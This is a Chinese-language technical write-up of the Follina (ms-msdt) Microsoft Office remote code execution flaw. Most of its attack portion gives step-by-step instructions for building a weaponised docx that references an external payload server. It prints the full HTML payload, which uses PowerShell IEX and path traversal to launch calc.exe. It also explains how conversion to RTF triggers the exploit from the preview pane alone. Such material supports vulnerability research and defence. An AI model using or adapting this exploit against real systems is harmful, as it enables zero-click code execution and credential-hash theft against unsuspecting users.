2022年5月29日,独立网络安全研究团队Nao_Sec发现了一个上传到Virustotal的恶意Office文档。该文档利用了非常见但已知的感染方案。某些EDR(例如Microsoft Defender for Endpoint)未能将此方案检测为恶意。此漏洞可能导致无需用户交互即可执行代码,因为它不涉及宏,除非启用了受保护视图模式。目前尚未分配CVE编号。
该漏洞通过使用MSProtocol URI方案加载某些代码进行利用。攻击者可以将恶意链接嵌入Microsoft Office文档、模板或电子邮件中,以ms-msdt:开头,之后无需用户交互即可加载并执行(除非启用了受保护视图模式)。然而,将文档转换为RTF格式也可能绕过受保护视图功能。
MS Office docx文件可以包含外部OLE对象引用作为HTML文件。存在一个HTML方案"ms-msdt:",它会调用msdt诊断工具,该工具能够执行参数中指定的任意代码。
结果是一个可怖的攻击向量:通过打开恶意的docx文件(无需使用宏)即可获得RCE。
以下是构建概念验证docx的步骤:
打开Word(使用最新版2019 Pro,16.0.10386.20017),创建一个空白文档,插入一个(OLE)对象(作为位图图像),保存为docx。
编辑docx结构中的word/_rels/document.xml.rels(它是一个普通的zip文件)。修改属性为Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"和Target="embeddings/oleObject1.bin"的<Relationship> XML标签,更改Target值并添加属性TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
注意Id值(可能为"rId5")。
word/document.xml。搜索<o:OLEObject ..>标签(带有r:id="rId5"),将属性从Type="Embed"改为Type="Link",并添加属性UpdateMode="OnCall"。注意:生成的恶意docx与CVE-2021-44444几乎相同。
http://<payload_server>/payload.html提供使用ms-msdt方案的PoC(calc.exe启动器)HTML payload:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
注意:
/../目录遍历。$()包裹的代码将通过PowerShell执行,但空格会破坏它。此外,触发payload可以连接到远程位置。虽然这不太可能调用不受信任的二进制文件,但连接仍会携带NTLM哈希值(这意味着攻击者现在拥有受害者Windows密码的哈希值),攻击者可将其用于进一步的后期利用。
如果在步骤3中,还在word/document.xml中的<o:OLEObject>元素下添加以下元素:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
那么它也可以作为RTF工作(打开生成的docx并另存为RTF)。
对于RTF,无需在Word中打开文件,只需浏览到该文件并在预览窗格中查看即可。预览窗格会触发外部HTML payload,从而在无需任何点击的情况下实现RCE。